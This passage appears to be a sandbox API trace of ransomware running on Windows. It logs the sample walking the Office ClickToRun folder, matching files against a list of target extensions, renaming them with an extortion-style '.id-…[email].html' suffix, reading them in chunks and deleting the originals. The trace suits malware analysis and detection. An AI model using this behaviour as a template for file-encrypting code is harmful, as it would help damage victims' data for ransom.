	[0080.578] CloseHandle (hObject=0x38c) returned 1
	[0080.588] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.589] SetEndOfFile (hFile=0x2c0) returned 1
	[0080.593] CloseHandle (hObject=0x2c0) returned 1
	[0080.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0080.593] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 1
	[0080.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0080.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0080.594] lstrlenW (lpString=".doc") returned 4
	[0080.594] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0080.594] lstrlenW (lpString=".docx") returned 5
	[0080.594] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0080.594] lstrlenW (lpString=".pdf") returned 4
	[0080.594] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0080.594] lstrlenW (lpString=".xls") returned 4
	[0080.594] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0080.594] lstrlenW (lpString=".xlsx") returned 5
	[0080.594] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0080.594] lstrlenW (lpString=".ppt") returned 4
	[0080.594] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0080.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0080.594] lstrlenW (lpString=".zip") returned 4
	[0080.594] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0080.594] lstrlenW (lpString=".rar") returned 4
	[0080.594] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0080.594] lstrlenW (lpString=".bz2") returned 4
	[0080.594] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0080.594] lstrlenW (lpString=".7z") returned 3
	[0080.595] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0080.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0080.595] lstrlenW (lpString=".dbf") returned 4
	[0080.595] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0081.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0081.394] lstrlenW (lpString=".1cd") returned 4
	[0081.394] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0081.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0081.395] lstrlenW (lpString=".jpg") returned 4
	[0081.395] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0081.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0081.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0081.395] lstrlenW (lpString=".doc") returned 4
	[0081.395] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0081.395] lstrlenW (lpString=".docx") returned 5
	[0081.395] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0081.395] lstrlenW (lpString=".pdf") returned 4
	[0081.395] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0081.395] lstrlenW (lpString=".xls") returned 4
	[0081.395] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0081.395] lstrlenW (lpString=".xlsx") returned 5
	[0081.395] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0081.395] lstrlenW (lpString=".ppt") returned 4
	[0081.395] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0081.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0081.395] lstrlenW (lpString=".zip") returned 4
	[0081.395] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0081.395] lstrlenW (lpString=".rar") returned 4
	[0081.395] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0081.395] lstrlenW (lpString=".bz2") returned 4
	[0081.395] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0081.395] lstrlenW (lpString=".7z") returned 3
	[0081.395] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0081.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0081.395] lstrlenW (lpString=".dbf") returned 4
	[0081.395] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0081.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0081.395] lstrlenW (lpString=".1cd") returned 4
	[0081.395] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0081.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0081.396] lstrlenW (lpString=".jpg") returned 4
	[0081.396] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0081.396] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0081.396] lstrlenW (lpString="msvcp120.dll") returned 12
	[0081.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0081.396] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=660136) returned 1
	[0081.397] CloseHandle (hObject=0x390) returned 1
	[0081.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll")) returned 0x20
	[0081.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0081.397] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0081.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0081.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0081.397] lstrlenW (lpString=".doc") returned 4
	[0081.397] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0081.397] lstrlenW (lpString=".docx") returned 5
	[0081.397] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0081.397] lstrlenW (lpString=".pdf") returned 4
	[0081.397] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0081.398] lstrlenW (lpString=".xls") returned 4
	[0081.398] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0081.398] lstrlenW (lpString=".xlsx") returned 5
	[0081.398] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0081.398] lstrlenW (lpString=".ppt") returned 4
	[0081.398] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0081.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0081.398] lstrlenW (lpString=".zip") returned 4
	[0081.399] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0081.399] lstrlenW (lpString=".rar") returned 4
	[0081.400] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0081.400] lstrlenW (lpString=".bz2") returned 4
	[0081.400] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0081.400] lstrlenW (lpString=".7z") returned 3
	[0081.400] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0081.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0081.400] lstrlenW (lpString=".dbf") returned 4
	[0081.400] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0081.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0081.400] lstrlenW (lpString=".1cd") returned 4
	[0081.400] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0081.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0081.400] lstrlenW (lpString=".jpg") returned 4
	[0081.400] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0081.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0081.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0081.400] lstrlenW (lpString=".doc") returned 4
	[0081.400] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0081.400] lstrlenW (lpString=".docx") returned 5
	[0081.400] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0081.400] lstrlenW (lpString=".pdf") returned 4
	[0081.400] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0081.400] lstrlenW (lpString=".xls") returned 4
	[0081.400] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0081.400] lstrlenW (lpString=".xlsx") returned 5
	[0081.400] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0081.400] lstrlenW (lpString=".ppt") returned 4
	[0081.400] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0081.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0081.400] lstrlenW (lpString=".zip") returned 4
	[0081.400] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0081.400] lstrlenW (lpString=".rar") returned 4
	[0081.401] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0081.401] lstrlenW (lpString=".bz2") returned 4
	[0081.401] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0081.401] lstrlenW (lpString=".7z") returned 3
	[0081.401] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0081.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0081.401] lstrlenW (lpString=".dbf") returned 4
	[0081.401] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0081.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0081.401] lstrlenW (lpString=".1cd") returned 4
	[0081.401] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0081.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0081.401] lstrlenW (lpString=".jpg") returned 4
	[0081.401] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0081.401] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0081.401] lstrlenW (lpString="msvcp140.dll") returned 12
	[0081.401] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0081.402] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=635040) returned 1
	[0081.402] CloseHandle (hObject=0x390) returned 1
	[0081.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll")) returned 0x20
	[0081.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0081.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0081.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0081.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0081.402] lstrlenW (lpString=".doc") returned 4
	[0081.402] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0081.402] lstrlenW (lpString=".docx") returned 5
	[0081.402] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0081.402] lstrlenW (lpString=".pdf") returned 4
	[0081.402] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0081.402] lstrlenW (lpString=".xls") returned 4
	[0081.403] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0081.403] lstrlenW (lpString=".xlsx") returned 5
	[0081.403] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0081.403] lstrlenW (lpString=".ppt") returned 4
	[0081.403] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0081.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0081.403] lstrlenW (lpString=".zip") returned 4
	[0081.403] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0081.403] lstrlenW (lpString=".rar") returned 4
	[0081.403] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0081.403] lstrlenW (lpString=".bz2") returned 4
	[0081.403] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0081.403] lstrlenW (lpString=".7z") returned 3
	[0081.403] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0081.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0081.403] lstrlenW (lpString=".dbf") returned 4
	[0081.403] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0081.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0081.403] lstrlenW (lpString=".1cd") returned 4
	[0081.403] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0081.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0081.403] lstrlenW (lpString=".jpg") returned 4
	[0081.403] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0081.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0081.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0081.403] lstrlenW (lpString=".doc") returned 4
	[0081.403] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0081.403] lstrlenW (lpString=".docx") returned 5
	[0081.403] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0081.403] lstrlenW (lpString=".pdf") returned 4
	[0081.403] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0081.404] lstrlenW (lpString=".xls") returned 4
	[0081.404] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0081.404] lstrlenW (lpString=".xlsx") returned 5
	[0081.404] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0081.404] lstrlenW (lpString=".ppt") returned 4
	[0081.404] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0081.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0081.404] lstrlenW (lpString=".zip") returned 4
	[0081.404] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0081.404] lstrlenW (lpString=".rar") returned 4
	[0081.404] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0081.404] lstrlenW (lpString=".bz2") returned 4
	[0081.404] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0081.404] lstrlenW (lpString=".7z") returned 3
	[0081.404] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0081.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0081.404] lstrlenW (lpString=".dbf") returned 4
	[0081.404] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0081.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0081.404] lstrlenW (lpString=".1cd") returned 4
	[0081.404] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0081.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0081.404] lstrlenW (lpString=".jpg") returned 4
	[0081.404] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0081.404] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0081.404] lstrlenW (lpString="msvcr120.dll") returned 12
	[0081.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0081.405] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=963240) returned 1
	[0081.405] CloseHandle (hObject=0x390) returned 1
	[0081.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll")) returned 0x20
	[0081.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0081.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0081.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0081.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0081.405] lstrlenW (lpString=".doc") returned 4
	[0081.405] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0081.405] lstrlenW (lpString=".docx") returned 5
	[0081.405] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0081.405] lstrlenW (lpString=".pdf") returned 4
	[0081.405] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0081.405] lstrlenW (lpString=".xls") returned 4
	[0081.405] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0081.406] lstrlenW (lpString=".xlsx") returned 5
	[0081.406] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0081.406] lstrlenW (lpString=".ppt") returned 4
	[0081.406] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0081.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0081.406] lstrlenW (lpString=".zip") returned 4
	[0081.406] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0081.406] lstrlenW (lpString=".rar") returned 4
	[0081.406] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0081.406] lstrlenW (lpString=".bz2") returned 4
	[0081.406] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0081.406] lstrlenW (lpString=".7z") returned 3
	[0081.406] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0081.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0081.406] lstrlenW (lpString=".dbf") returned 4
	[0081.406] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0081.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0081.406] lstrlenW (lpString=".1cd") returned 4
	[0081.406] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0081.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0081.406] lstrlenW (lpString=".jpg") returned 4
	[0081.406] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0081.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0081.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0081.406] lstrlenW (lpString=".doc") returned 4
	[0081.406] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0081.406] lstrlenW (lpString=".docx") returned 5
	[0081.406] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0081.406] lstrlenW (lpString=".pdf") returned 4
	[0081.406] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0081.406] lstrlenW (lpString=".xls") returned 4
	[0081.406] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0081.407] lstrlenW (lpString=".xlsx") returned 5
	[0081.407] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0081.407] lstrlenW (lpString=".ppt") returned 4
	[0081.407] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0081.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0081.407] lstrlenW (lpString=".zip") returned 4
	[0081.407] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0081.407] lstrlenW (lpString=".rar") returned 4
	[0081.407] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0081.407] lstrlenW (lpString=".bz2") returned 4
	[0081.407] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0081.407] lstrlenW (lpString=".7z") returned 3
	[0081.407] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0081.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0081.407] lstrlenW (lpString=".dbf") returned 4
	[0081.407] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0081.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0081.407] lstrlenW (lpString=".1cd") returned 4
	[0081.407] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0081.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0081.407] lstrlenW (lpString=".jpg") returned 4
	[0081.407] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0081.411] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1
	[0081.411] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0081.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0081.411] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=5967976) returned 1
	[0081.411] CloseHandle (hObject=0x390) returned 1
	[0081.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe")) returned 0x20
	[0081.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0081.411] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[vip76@protonmail.com].html")) returned 1
	[0081.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0081.414] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fc64 | out: lpNewFilePointer=0x0) returned 1
	[0081.414] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fc24 | out: lpNewFilePointer=0x0) returned 1
	[0081.414] ReadFile (in: hFile=0x390, lpBuffer=0x39b4058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e9fc30, lpOverlapped=0x0 | out: lpBuffer=0x39b4058*, lpNumberOfBytesRead=0x2e9fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0081.420] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x1e5acd, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fc24 | out: lpNewFilePointer=0x0) returned 1
	[0081.420] ReadFile (in: hFile=0x390, lpBuffer=0x39f4058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e9fc30, lpOverlapped=0x0 | out: lpBuffer=0x39f4058*, lpNumberOfBytesRead=0x2e9fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0081.429] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e9fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.430] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x571068, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fc24 | out: lpNewFilePointer=0x0) returned 1
